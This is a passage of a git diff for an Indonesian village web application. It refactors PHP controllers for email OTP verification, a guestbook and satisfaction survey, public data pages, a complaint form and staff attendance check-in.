berhasil mengirim OTP, silahkan mencoba kembali.', + ]); + + $this->db->trans_rollback(); + + redirect('layanan-mandiri/verifikasi/email/#langkah-2'); + } + + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => 1, + 'pesan' => 'OTP email anda berhasil terkirim, silahkan cek email anda!', + ]); + + $this->session->set_flashdata('kirim-otp-email', '#langkah3'); + + redirect('layanan-mandiri/verifikasi/email/#langkah-3'); + } else { + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => -1, + 'pesan' => 'Akun Email yang Anda Masukkan tidak valid, Silahkan ulangi lagi.', + ]); + redirect('layanan-mandiri/verifikasi/email/#langkah-2'); + } + } + + /** + * Langkah 3 Verifikasi Email + */ + public function verifikasi_email() + { + $post = $this->input->post(); + $otp = $post['token_email']; + $user = $this->session->is_login->id_pend; + $nama = $this->session->is_login->nama; + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $email = $this->db->where('id', $user)->get('tweb_penduduk')->row()->email; + + if ($this->otp_library->driver('email')->verifikasi_otp($otp, $user)) { + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => 1, + 'pesan' => 'Selamat, alamat email anda berhasil terverifikasi.', + ]); + + try { + $this->otp_library->driver('email')->verifikasi_berhasil($email, $nama); + } catch (\Exception $e) { + log_message('error', $e); + } + + redirect('layanan-mandiri/verifikasi/email/#langkah-4'); + } + + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => -1, + 'pesan' => 'Tidak berhasil memverifikasi, Token tidak sesuai atau waktu Anda habis, silahkan mencoba kembali.', + ]); + + redirect('layanan-mandiri/verifikasi/email/#langkah-2'); + } +} diff --git a/donjo-app/controllers/fweb/Buku_tamu.php b/donjo-app/controllers/fweb/Buku_tamu.php index 5c39eae87..129c1025c 100644 --- a/donjo-app/controllers/fweb/Buku_tamu.php +++ b/donjo-app/controllers/fweb/Buku_tamu.php @@ -1,529 +1,195 @@ -setting->layanan_mandiri == 0) { + show_404(); + } + + if (null === $this->cek_anjungan) { + show_404(); + } + } + + public function index() + { + return view('buku_tamu.registrasi', [ + 'aksi' => route('buku-tamu.registrasi'), + 'bertemu' => RefJabatan::pluck('nama', 'id'), + 'keperluan' => BukuKeperluan::whereStatus(StatusEnum::YA)->pluck('keperluan', 'id'), + 'kamera' => $this->setting->buku_tamu_kamera, + ]); + } + + public function registrasi() + { + if ($this->input->post()) { + $post = $this->validate($this->request); + + // Identifikasi registrasi yang sama + // Cek nama, telepon dan jenis kelamin pada hari yang sama + $cek_registrasi = BukuTamu::whereNama($post['nama']) + ->whereTelepon($post['telepon']) + ->whereJenisKelamin($post['jenis_kelamin']) + ->whereDate('created_at', Carbon::now()->format('Y-m-d')) + ->first(); + + if ($cek_registrasi) { + set_session('error', 'Registrasi Gagal Disimpan
Anda Sudah Melakukan Registrasi Hari Ini'); + } else { + if (BukuTamu::create($post)) { + set_session('success', 'Registrasi Berhasil Disimpan'); + } else { + set_session('error', 'Registrasi Gagal Disimpan'); + } + } + } else { + set_session('error', 'Akses Tidak Tersedia'); + } + + redirect('buku-tamu/kepuasan'); + } + + public function kepuasan($id = null) + { + // Jangan tampilkan kalau belum ada daftar pertanyaan + $data['ada_pertanyaan'] = BukuPertanyaan::whereStatus(StatusEnum::YA)->exists(); + + if ($data['ada_pertanyaan']) { + if ($id) { + $data['pertanyaan'] = $this->cek_pertanyaan($id); + $data['id'] = $id; + $view = 'buku_tamu.pertanyaan'; + } else { + // Tamu yang belum isi indeks kepuasan + $kepuasan = BukuKepuasan::whereDate('created_at', Carbon::today())->pluck('id_nama'); + $data['tamu_hari_ini'] = BukuTamu::whereNotIn('id', $kepuasan)->whereDate('created_at', Carbon::today())->latest()->get(); + $view = 'buku_tamu.kepuasan'; + } + } else { + $data['tamu_hari_ini'] = null; + $view = 'buku_tamu.kepuasan'; + } + + return view($view, $data); + } + + public function jawaban($id = null, $jawaban = null) + { + $tamu = BukuTamu::find($id); + + if (! $tamu || ! in_array($jawaban, JawabanKepuasanEnum::keys())) { + set_session('error', 'Jawaban Gagal Disimpan'); + } else { + $cek_pertanyaan = BukuKepuasan::whereIdNama($id)->pluck('id_pertanyaan'); + $pertanyaan = BukuPertanyaan::whereNotIn('id', $cek_pertanyaan)->whereStatus(StatusEnum::YA)->first(); + BukuKepuasan::create([ + 'id_nama' => $tamu->id, + 'id_pertanyaan' => $pertanyaan->id, + 'pertanyaan_statis' => $pertanyaan->pertanyaan, + 'id_jawaban' => $jawaban, + ]); + + // jika masih ada pertanyaan + if ($this->cek_pertanyaan($id)) { + set_session('success', '

Jawaban Berhasil Disimpan



Ke Pertanyaan Selanjutnya'); + + redirect('buku-tamu/kepuasan/' . $id); + } + } + + redirect('buku-tamu/kepuasan/' . $id); + } + + private function cek_pertanyaan($id = null) + { + $sudah_ada = BukuKepuasan::whereIdNama($id)->pluck('id_pertanyaan'); + $pertanyaan = BukuPertanyaan::whereNotIn('id', $sudah_ada)->whereStatus(StatusEnum::YA)->first(); + + if (! $pertanyaan) { + set_session('success', '

TERIMA KASIH



Anda Telah Membantu Kami Untuk Melayani Lebih Baik Lagi.'); + redirect('buku-tamu'); + } + + return $pertanyaan; + } + + private function validate($request = []) + { + return [ + 'nama' => htmlentities($request['nama']), + 'telepon' => htmlentities($request['telepon']), + 'instansi' => htmlentities($request['instansi']), + 'jenis_kelamin' => bilangan($request['jenis_kelamin']), + 'alamat' => htmlentities($request['alamat']), + 'bidang' => bilangan($request['id_bidang']), + 'keperluan' => bilangan($request['id_keperluan']), + 'foto' => $this->foto($request['foto']), + ]; + } + + private function foto($base64 = null) + { + $nama_file = null; + + if ($base64) { + $nama_file = time() . mt_rand(10000, 999999) . '.jpg'; + $base64 = str_replace('data:image/png;base64,', '', $base64); + $base64 = base64_decode($base64, true); + + file_put_contents(FCPATH . LOKASI_FOTO_BUKU_TAMU . $nama_file, $base64); + } + + return $nama_file; + } +} diff --git a/donjo-app/controllers/fweb/Galeri.php b/donjo-app/controllers/fweb/Galeri.php index 528fc5521..13d7460bc 100644 --- a/donjo-app/controllers/fweb/Galeri.php +++ b/donjo-app/controllers/fweb/Galeri.php @@ -1,505 +1,85 @@ -load->model('first_gallery_m'); + if (! $this->web_menu_model->menu_aktif('galeri')) { + show_404(); + } + } + + public function index($p = 1) + { + $data = $this->includes; + $data['p'] = $p; + $data['paging'] = $this->first_gallery_m->paging($p); + $data['paging_range'] = 3; + $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']); + $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']); + $data['pages'] = range($data['start_paging'], $data['end_paging']); + $data['gallery'] = $this->first_gallery_m->gallery_show($data['paging']->offset, $data['paging']->per_page); + $data['paging_page'] = 'galeri/index'; + + $this->_get_common_data($data); + $this->set_template('layouts/gallery.tpl.php'); + $this->load->view($this->template, $data); + } + + public function detail($parent = 0, $p = 1) + { + $data = $this->includes; + $data['p'] = $p; + $data['paging'] = $this->first_gallery_m->paging2($parent, $p); + $data['paging_range'] = 3; + $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']); + $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']); + $data['pages'] = range($data['start_paging'], $data['end_paging']); + $data['gallery'] = $this->first_gallery_m->sub_gallery_show($parent, $data['paging']->offset, $data['paging']->per_page); + $data['parent'] = $this->first_gallery_m->get_parent($parent); + $data['paging_page'] = "galeri/{$parent}/index"; + + $this->_get_common_data($data); + $this->set_template('layouts/sub_gallery.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Idm.php b/donjo-app/controllers/fweb/Idm.php index 06c3b086e..0404ebd20 100644 --- a/donjo-app/controllers/fweb/Idm.php +++ b/donjo-app/controllers/fweb/Idm.php @@ -1,481 +1,64 @@ -load->library('data_publik'); + } + + public function index($tahun = null) + { + if (! $this->web_menu_model->menu_aktif('status-idm/' . $tahun) || null === $tahun) { + show_404(); + } + + $data = $this->includes; + $this->_get_common_data($data); + + $data['idm'] = idm($data['desa']['kode_desa'], $tahun); + $data['halaman_statis'] = 'idm/index'; + + $this->_get_common_data($data); + $this->set_template('layouts/halaman_statis_lebar.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Kelompok.php b/donjo-app/controllers/fweb/Kelompok.php index 70e2cf4e9..99dbbb805 100644 --- a/donjo-app/controllers/fweb/Kelompok.php +++ b/donjo-app/controllers/fweb/Kelompok.php @@ -1,521 +1,77 @@ -load->model('kelompok_model'); + $this->kelompok_model->set_tipe($this->tipe); + } + + public function detail($slug = null) + { + $id = KelompokModel::tipe()->where('slug', $slug)->first()->id; + + if (! $this->web_menu_model->menu_aktif("data-kelompok/{$id}")) { + show_404(); + } + + $data = $this->includes; + + $data['detail'] = $this->kelompok_model->get_kelompok($id); + $data['title'] = 'Data Kelompok ' . $data['detail']['nama']; + $data['anggota'] = $this->kelompok_model->list_anggota(0, 0, 500, $id, 'anggota'); + $data['pengurus'] = $this->kelompok_model->list_pengurus($id); + + // Jika kelompok tdk tersedia / sudah terhapus pd modul kelompok + if ($data['detail'] == null) { + show_404(); + } + + $this->_get_common_data($data); + $this->set_template('layouts/kelompok.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Lapak.php b/donjo-app/controllers/fweb/Lapak.php index b8190936d..ae42df629 100644 --- a/donjo-app/controllers/fweb/Lapak.php +++ b/donjo-app/controllers/fweb/Lapak.php @@ -1,497 +1,89 @@ -load->model('lapak_model'); + } + + public function index($p = 1) + { + if (! $this->web_menu_model->menu_aktif('lapak')) { + show_404(); + } + + if ($this->setting->tampilkan_lapak_web == 0) { + show_404(); + } + + $data = $this->includes; + $this->_get_common_data($data); + + $data['id_kategori'] = $this->input->get('id_kategori', true); + $data['keyword'] = $this->input->get('keyword', true); + + // TODO : Sederhanakan bagian panging dengan suffix + $data['paging'] = $this->lapak_model->paging_produk($p, $data['keyword'], $data['id_kategori']); + $data['paging_page'] = 'lapak'; + $data['paging_range'] = 3; + $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']); + $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']); + $data['pages'] = range($data['start_paging'], $data['end_paging']); + + if ($data['keyword']) { + $data['produk'] = $this->lapak_model->get_produk($data['keyword'], 1); + } else { + $data['produk'] = $this->lapak_model->get_produk('', 1); + } + + if ($data['id_kategori'] != '') { + $data['produk'] = $data['produk']->where('id_produk_kategori', $data['id_kategori']); + } + + $data['produk'] = $data['produk']->limit($data['paging']->per_page, $data['keyword'] ? 0 : $data['paging']->offset)->get()->result(); + $data['kategori'] = $this->lapak_model->get_kategori()->get()->result(); + $data['halaman_statis'] = 'lapak/index'; + + $this->set_template('layouts/halaman_statis_lebar.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Lembaga.php b/donjo-app/controllers/fweb/Lembaga.php index cc439cc16..ea50c38e2 100644 --- a/donjo-app/controllers/fweb/Lembaga.php +++ b/donjo-app/controllers/fweb/Lembaga.php @@ -1,513 +1,77 @@ -load->model('kelompok_model'); + $this->kelompok_model->set_tipe($this->tipe); + } + + public function detail($slug = null) + { + $id = LembagaModel::tipe($this->tipe)->where('slug', $slug)->first()->id; + + if (! $this->web_menu_model->menu_aktif("data-lembaga/{$id}")) { + show_404(); + } + + $data = $this->includes; + + $data['detail'] = $this->kelompok_model->get_kelompok($id); + $data['title'] = 'Data Lembaga ' . $data['detail']['nama']; + $data['anggota'] = $this->kelompok_model->list_anggota(0, 0, 500, $id, 'anggota'); + $data['pengurus'] = $this->kelompok_model->list_pengurus($id); + + // Jika lembaga tdk tersedia / sudah terhapus pd modul lembaga + if ($data['detail'] == null) { + show_404(); + } + + $this->_get_common_data($data); + $this->set_template('layouts/kelompok.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Pembangunan.php b/donjo-app/controllers/fweb/Pembangunan.php index c423c987d..fd3a9b4ca 100644 --- a/donjo-app/controllers/fweb/Pembangunan.php +++ b/donjo-app/controllers/fweb/Pembangunan.php @@ -1,545 +1,84 @@ -load->model(['pembangunan_model', 'pembangunan_dokumentasi_model']); + } + + public function index($p = 1) + { + if (! $this->web_menu_model->menu_aktif('pembangunan')) { + show_404(); + } + + $this->pembangunan_model->set_tipe(''); // Ambil semua pembangunan + + $data = $this->includes; + $this->_get_common_data($data); + + $data['paging'] = $this->pembangunan_model->paging_pembangunan($p); + $data['paging_page'] = 'pembangunan/index'; + $data['paging_range'] = 3; + $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']); + $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']); + $data['pages'] = range($data['start_paging'], $data['end_paging']); + $data['pembangunan'] = $this->pembangunan_model->get_data('', 'semua')->where('p.status', '1')->limit($data['paging']->per_page, $data['paging']->offset)->order_by('p.tahun_anggaran', 'desc')->get()->result(); + $data['halaman_statis'] = $this->controller . '/index'; + + $this->set_template('layouts/halaman_statis_lebar.tpl.php'); + $this->load->view($this->template, $data); + } + + public function detail($slug = null) + { + $data = $this->includes; + $this->_get_common_data($data); + + $data['pembangunan'] = $this->pembangunan_model->slug($slug); + $data['dokumentasi'] = $this->pembangunan_dokumentasi_model->find_dokumentasi($data['pembangunan']->id); + $data['halaman_statis'] = $this->controller . '/detail'; + + $this->set_template('layouts/halaman_statis_lebar.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Pemerintah.php b/donjo-app/controllers/fweb/Pemerintah.php index 074edf46c..b29061453 100644 --- a/donjo-app/controllers/fweb/Pemerintah.php +++ b/donjo-app/controllers/fweb/Pemerintah.php @@ -1,537 +1,62 @@ -web_menu_model->menu_aktif('pemerintah')) { + show_404(); + } + + $data = $this->includes; + $this->_get_common_data($data); + + $data['pemerintah'] = $data['aparatur_desa']['daftar_perangkat']; + $data['halaman_statis'] = 'pemerintah/index'; + + $this->set_template('layouts/halaman_statis_lebar.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Pengaduan.php b/donjo-app/controllers/fweb/Pengaduan.php index 24086220d..55b14e763 100644 --- a/donjo-app/controllers/fweb/Pengaduan.php +++ b/donjo-app/controllers/fweb/Pengaduan.php @@ -1,529 +1,141 @@ -load->model('pengaduan_model'); + $this->load->library('upload'); + } + + public function index($p = 1) + { + if (! $this->web_menu_model->menu_aktif('pengaduan')) { + show_404(); + } + + $data = $this->includes; + $this->_get_common_data($data); + + $data['form_action'] = site_url("{$this->controller}/kirim"); + $data['cari'] = $this->input->get('cari', true); + $data['caristatus'] = $this->input->get('caristatus', true); + + // TODO : Sederhanakan bagian panging dengan suffix + $data['paging'] = $this->pengaduan_model->paging_pengaduan($p, $data['cari'] ?? '', $data['caristatus'] ?? ''); + $data['paging_page'] = 'pengaduan'; + $data['paging_range'] = 3; + $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']); + $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']); + $data['pages'] = range($data['start_paging'], $data['end_paging']); + + $data['pengaduan'] = $this->pengaduan_model->get_pengaduan($data['cari'] ?? '', $data['caristatus'] ?? ''); + $data['pengaduan'] = $data['pengaduan']->limit($data['paging']->per_page, $data['cari'] ? 0 : $data['paging']->offset)->get()->result_array(); + $data['pengaduan_balas'] = $this->pengaduan_model->get_pengaduan_balas($data['cari'] ?? '', $data['caristatus'] ?? '')->get()->result_array(); + $data['halaman_statis'] = 'pengaduan/index'; + + $this->set_template('layouts/halaman_statis_lebar.tpl.php'); + $this->load->view($this->template, $data); + } + + public function kirim() + { + $this->load->library('Telegram/telegram'); + + // Periksa isian captcha + include FCPATH . 'securimage/securimage.php'; + $securimage = new Securimage(); + + $post = $this->input->post(); + if ($securimage->check($post['captcha_code']) == false) { + $notif = [ + 'status' => 'error', + 'pesan' => 'Kode captcha anda salah. Silakan ulangi lagi.', + 'data' => $post, + ]; + } elseif (empty($this->input->ip_address())) { + $notif = [ + 'status' => 'error', + 'pesan' => 'Pengaduan gagal dikirim. IP Address anda tidak dikenali.', + ]; + } else { + // Cek pengaduan dengan ip_address yang pada hari yang sama + $cek = PengaduanModel::where('ip_address', '=', $this->input->ip_address()) + ->whereDate('created_at', date('Y-m-d')) + ->exists(); + + if ($cek) { + $notif = [ + 'status' => 'error', + 'pesan' => 'Pengaduan gagal dikirim. Anda hanya dapat mengirimkan satu pengaduan dalam satu hari.', + ]; + } else { + if ($this->pengaduan_model->insert()) { + if (! empty($this->setting->telegram_token) && cek_koneksi_internet()) { + try { + $this->telegram->sendMessage([ + 'text' => 'Halo! Ada pengaduan baru dari warga, mohon untuk segera ditindak lanjuti. Terima kasih.', + 'parse_mode' => 'Markdown', + 'chat_id' => $this->setting->telegram_user_id, + ]); + } catch (Exception $e) { + log_message('error', $e->getMessage()); + } + } + $notif = [ + 'status' => 'success', + 'pesan' => 'Pengaduan berhasil dikirim.', + ]; + } else { + $notif = [ + 'status' => 'error', + 'pesan' => 'Pengaduan gagal dikirim.', + 'data' => $post, + ]; + } + } + } + + redirect_with('notif', $notif); + } +} diff --git a/donjo-app/controllers/fweb/Peraturan.php b/donjo-app/controllers/fweb/Peraturan.php index e338e2c64..5c564e3b4 100644 --- a/donjo-app/controllers/fweb/Peraturan.php +++ b/donjo-app/controllers/fweb/Peraturan.php @@ -1,529 +1,98 @@ -web_menu_model->menu_aktif('peraturan-desa')) { + show_404(); + } + + $data = $this->includes; + + $data['pilihan_kategori'] = RefDokumen::query() + ->where('id', '!=', 1) + ->pluck('nama', 'id') + ->transform(static function ($item, $key) { + if ($key === 2) { + return str_replace(['Desa', 'desa'], ucwords(setting('sebutan_desa')), $item); + } + + if ($key === 3) { + return "{$item} Di " . ucwords(setting('sebutan_desa')); + } + + return $item; + }); + $data['pilihan_tahun'] = Dokumen::distinct('tahun')->hidup()->where('kategori', '!=', 1)->pluck('tahun'); + $data['halaman_statis'] = 'peraturan/index'; + + $this->_get_common_data($data); + $this->set_template('layouts/halaman_statis.tpl.php'); + $this->load->view($this->template, $data); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + $filters = [ + 'tahun' => $this->input->get('tahun', true), + 'kategori' => $this->input->get('kategori', true), + ]; + + $query = Dokumen::select(['id', 'nama', 'tahun', 'satuan', 'kategori', 'attr', 'url']) + ->hidup() + ->aktif() + ->where('kategori', '!=', 1) + ->filters($filters); + + return datatables() + ->of($query) + ->addIndexColumn() + ->addColumn('kategori_dokumen', static function ($row) { + return $row['attr']['jenis_peraturan'] ?? $row->kategoriDokumen->nama; + }) + ->make(); + } + + return show_404(); + } +} diff --git a/donjo-app/controllers/fweb/Peta.php b/donjo-app/controllers/fweb/Peta.php index 24ac7775a..b0aa529e6 100644 --- a/donjo-app/controllers/fweb/Peta.php +++ b/donjo-app/controllers/fweb/Peta.php @@ -1,489 +1,73 @@ -web_menu_model->menu_aktif('peta')) { + show_404(); + } + + $this->load->model(['wilayah_model', 'referensi_model', 'laporan_penduduk_model', 'plan_garis_model', 'plan_lokasi_model', 'data_persil_model', 'plan_area_model', 'pembangunan_model']); + + $data = $this->includes; + + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $data['wilayah'] = $this->wilayah_model->list_wil(); + $data['desa'] = $this->header; + $data['title'] = 'Peta ' . ucwords($this->setting->sebutan_desa . ' ' . $data['desa']['nama_desa']); + $data['dusun_gis'] = $data['list_dusun']; + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['list_ref'] = $this->referensi_model->list_ref(STAT_PENDUDUK); + $data['covid'] = $this->laporan_penduduk_model->list_data('covid'); + $data['lokasi'] = $this->plan_lokasi_model->list_lokasi(1); + $data['garis'] = $this->plan_garis_model->list_garis(1); + $data['area'] = $this->plan_area_model->list_area(1); + $data['lokasi_pembangunan'] = $this->pembangunan_model->list_lokasi_pembangunan(1); + $data['persil'] = $this->data_persil_model->list_data(); + $data['list_bantuan'] = collect(unserialize(STAT_BANTUAN))->toArray() + collect($this->program_bantuan_model->list_program(0))->pluck('nama', 'lap')->toArray(); + $data['halaman_peta'] = 'web/halaman_statis/peta'; + + $this->_get_common_data($data); + $this->set_template('layouts/peta_statis.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Sdgs.php b/donjo-app/controllers/fweb/Sdgs.php index bb495b303..04dc60743 100644 --- a/donjo-app/controllers/fweb/Sdgs.php +++ b/donjo-app/controllers/fweb/Sdgs.php @@ -1,489 +1,59 @@ -web_menu_model->menu_aktif('status-sdgs')) { + show_404(); + } + + $data = $this->includes; + $this->_get_common_data($data); + $data['halaman_statis'] = 'sdgs/index'; + $this->set_template('layouts/halaman_statis_lebar.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Suplemen.php b/donjo-app/controllers/fweb/Suplemen.php index 677e565b0..0509d25e0 100644 --- a/donjo-app/controllers/fweb/Suplemen.php +++ b/donjo-app/controllers/fweb/Suplemen.php @@ -1,521 +1,70 @@ -load->model('suplemen_model'); + + $this->session->unset_userdata('per_page'); + } + + public function detail($slug = null) + { + $id = SuplemenModel::where('slug', $slug)->first()->id; + + if (! $this->web_menu_model->menu_aktif('data-suplemen/' . $id)) { + show_404(); + } + + $data = $this->includes; + $data['main'] = $this->suplemen_model->get_rincian(0, $id); + $data['title'] = 'Data Suplemen ' . $data['main']['suplemen']['nama']; + $data['sasaran'] = SasaranEnum::all(); + + $this->_get_common_data($data); + $this->set_template('layouts/suplemen.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Vaksin.php b/donjo-app/controllers/fweb/Vaksin.php index 20a5af693..e5a234006 100644 --- a/donjo-app/controllers/fweb/Vaksin.php +++ b/donjo-app/controllers/fweb/Vaksin.php @@ -1,505 +1,65 @@ -load->model('vaksin_covid_model'); + } + + public function index() + { + if (! $this->web_menu_model->menu_aktif('data-vaksinasi')) { + show_404(); + } + + $data = $this->includes; + + $data['main'] = $this->vaksin_covid_model->list_penduduk(0); + $data['heading'] = 'Daftar Nama Warga Yang Telah Divaksin'; + $data['title'] = $data['heading']; + $data['halaman_statis'] = 'vaksin/index'; + + $this->_get_common_data($data); + $this->set_template('layouts/halaman_statis.tpl.php'); + $this->load->view($this->template, $data); + } +} diff --git a/donjo-app/controllers/fweb/Verifikasi_surat.php b/donjo-app/controllers/fweb/Verifikasi_surat.php index ff41544e9..b1d06644a 100644 --- a/donjo-app/controllers/fweb/Verifikasi_surat.php +++ b/donjo-app/controllers/fweb/Verifikasi_surat.php @@ -1,585 +1,80 @@ -load->model(['keluar_model', 'url_shortener_model', 'stat_shortener_model']); + } + + public function cek($alias = null) + { + $cek = $this->url_shortener_model->get_url($alias); + if (! $cek) { + show_404(); + } + + $this->stat_shortener_model->add_log($cek->id); + + redirect($cek->url); + } + + public function encode($id_dokumen = null) + { + $id_encoded = $this->url_shortener_model->encode_id($id_dokumen); + + redirect('verifikasi-surat/' . $id_encoded); + } + + public function decode($id_encoded = null) + { + $id_decoded = $this->url_shortener_model->decode_id($id_encoded); + + $data['config'] = $this->header; + $data['surat'] = $this->keluar_model->verifikasi_data_surat($id_decoded, $this->header['kode_desa']); + + if (! $data['surat']) { + show_404(); + } + + $this->load->view("{$this->includes['folder_themes']}/partials/surat/index", $data); + } +} diff --git a/donjo-app/controllers/kehadiran/Perangkat.php b/donjo-app/controllers/kehadiran/Perangkat.php index 407d47b81..e0588b071 100644 --- a/donjo-app/controllers/kehadiran/Perangkat.php +++ b/donjo-app/controllers/kehadiran/Perangkat.php @@ -1,569 +1,266 @@ -tgl = date('Y-m-d'); + $this->jam = date('H:i'); + $this->ip = $this->input->ip_address(); + $this->mac = $this->input->get('mac_address', true) ?? $this->session->mac_address; + $this->pengunjung = $_COOKIE['pengunjung']; + $this->url = 'kehadiran/masuk'; + + if ($this->mac) { + $this->session->mac_address = $this->mac; + } + } + + public function index() + { + $this->cekLogin(); + + $data = [ + 'masuk' => $this->session->masuk, + 'success' => $this->session->kehadiran, + 'ip_address' => $this->ip, + 'mac_address' => $this->mac, + 'kehadiran' => Kehadiran::where('tanggal', '=', $this->tgl)->where('pamong_id', '=', $this->session->masuk['pamong_id'])->where('status_kehadiran', '=', 'hadir')->first(), + 'alasan' => AlasanKeluar::get(), + ]; + + return view('kehadiran.index', $data); + } + + public function cek($ektp = false) + { + if (! $this->input->post()) { + redirect($this->url); + } + + $username = trim($this->request['username']); + $password = trim($this->request['password']); + $tag = trim($this->request['tag']); + + $user = User::with(['pamong']) + ->whereHas('pamong', static function ($query) use ($username) { + $query + ->status('1') // pamong aktif + ->where(static function ($query) use ($username) { + $query + ->orWhere('username', $username) + ->orWhere('pamong_nik', $username) + ->orWhereHas('penduduk', static function ($query) use ($username) { + $query->where('nik', $username); + }); + }); + }) + ->orWhereHas('pamong', static function ($query) use ($tag) { + $query + ->status('1') // pamong aktif + ->where(static function ($query) use ($tag) { + $query + ->orWhere('pamong_tag_id_card', $tag) + ->orWhereHas('penduduk', static function ($query) use ($tag) { + $query->where('tag_id_card', $tag); + }); + }); + }) + ->first(); + + if ($ektp) { + if (! $user) { + set_session('error', 'ID Card Salah. Coba Lagi'); + redirect($this->url); + } + } else { + if (password_verify($password, $user->password) === false) { + set_session('error', 'Username atau Password Salah'); + redirect($this->url); + } + } + + $this->session->masuk = [ + 'pamong_id' => $user->pamong_id, + 'pamong_nama' => $user->pamong->penduduk->nama ?? $user->pamong->pamong_nama ?? $user->nama, + 'jabatan' => $user->pamong->jabatan, + 'sex' => $user->pamong->penduduk->sex ?? $user->pamong->pamong_sex, + 'foto' => $user->pamong->penduduk->foto ?? $user->pamong->foto ?? $user->foto, + ]; + + redirect('kehadiran'); + } + + public function masukEktp() + { + $this->masuk(true); + } + + public function cekEktp() + { + $this->url = 'kehadiran/masuk-ektp'; + $this->cek(true); + } + + public function masuk($ektp = false) + { + $data = [ + 'ip_address' => $this->ip, + 'mac_address' => $this->mac, + 'id_pengunjung' => $this->pengunjung, + 'ektp' => $ektp, + 'cek' => $this->deteksi(), + ]; + + return view('kehadiran.masuk', $data); + } + + public function checkInOut() + { + $this->cekLogin(); + $pamong_id = $this->session->masuk['pamong_id']; + $status_kehadiran = $this->request['status_kehadiran']; + + if ($status_kehadiran == 'hadir') { + $check_in = Kehadiran::create([ + 'tanggal' => $this->tgl, + 'pamong_id' => $pamong_id, + 'jam_masuk' => $this->jam, + 'status_kehadiran' => $status_kehadiran, + ]); + + $this->session->kehadiran = $check_in ? true : false; + } else { + $check_out = Kehadiran::where('tanggal', $this->tgl)->where('pamong_id', $pamong_id)->latest('jam_masuk')->take(1)->update([ + 'jam_keluar' => $this->jam, + 'status_kehadiran' => $status_kehadiran, + ]); + + $this->session->kehadiran = $check_out ? true : false; + } + + redirect('kehadiran'); + } + + public function logout() + { + $this->session->unset_userdata(['masuk', 'kehadiran', 'mac_address']); + + redirect('kehadiran/masuk'); + } + + private function cekLogin() + { + // Paksa keluar jika perangkat tidak terdeteksi + if (! $this->deteksi()['status']) { + return $this->logout(); + } + + if (! $this->session->masuk) { + redirect($this->url); + } + } + + private function deteksi() + { + $cek_gawai = (setting('ip_adress_kehadiran') === $this->ip || setting('mac_adress_kehadiran') === $this->mac || setting('id_pengunjung_kehadiran') === $this->pengunjung); + $cek_hari = HariLibur::where('tanggal', '=', date('Y-m-d'))->first(); + $cek_weekend = JamKerja::libur()->first(); + $cek_jam = JamKerja::jamKerja()->first(); + + return [ + 'status' => null === $cek_hari && null === $cek_jam && null === $cek_weekend && $cek_gawai === true, + 'judul' => 'Tidak bisa masuk!', + 'pesan' => $this->getStatusPesan([ + 'cek_gawai' => $cek_gawai, + 'cek_hari' => $cek_hari, + 'cek_weekend' => $cek_weekend, + 'cek_jam' => $cek_jam, + ]), + ]; + } + + private function getStatusPesan(array $cek) + { + $pesan = ''; + + switch (true) { + case $cek['cek_gawai'] === false: + $pesan = 'Gawai ini belum terdaftar.'; + break; + + case $cek['cek_hari'] !== null: + $pesan = $cek['cek_hari']->keterangan; + break; + + case $cek['cek_weekend'] !== null: + $pesan = "Hari {$cek['cek_weekend']->nama_hari} libur!"; + break; + + case $cek['cek_jam'] !== null: + $pesan = "Jam kerja hari ini di mulai dari {$cek['cek_jam']->jam_masuk} hingga {$cek['cek_jam']->jam_keluar}"; + break; + + default: + $pesan = ''; + break; + } + + return $pesan; + } +} diff --git a/donjo-app/core/MY_Controller.php b/donjo-app/core/MY_Controller.php index 427239b7d..57ce07208 100644 --- a/donjo-app/core/MY_Controller.php +++ b/donjo-app/core/MY_Controller.php @@ -1,465 +1,645 @@ -session->db_error; + if ($error['code'] == 1049 && ! $this->db) { + return; + } + + $this->cek_config(); + + /* + | Tambahkan model yg akan diautoload di sini. + | donjo-app/config/autoload.php digunakan untuk autoload model untuk mengisi data awal + | pada waktu install, di mana database masih kosong + */ + $this->load->model(['setting_model', 'anjungan_model']); + $this->controller = strtolower($this->router->fetch_class()); + $this->setting_model->init(); + $this->request = $this->input->post(); + + // Untuk anjungan + if (Schema::hasColumn('anjungan', 'tipe') && Schema::hasColumn('anjungan', 'status_alasan')) { + $this->cek_anjungan = $this->anjungan_model->cek_anjungan(); + } + + // Cek perangkat lupa absen keluar + cek_kehadiran(); + } + + // Bersihkan session cluster wilayah + public function clear_cluster_session() + { + $cluster_session = ['dusun', 'rw', 'rt']; + + foreach ($cluster_session as $session) { + $this->session->unset_userdata($session); + } + } + + private function cek_config() + { + if (! $this->db) { + $this->load->database(); + } + + $appKey = get_app_key(); + $appKeyDb = Config::first(); + + if 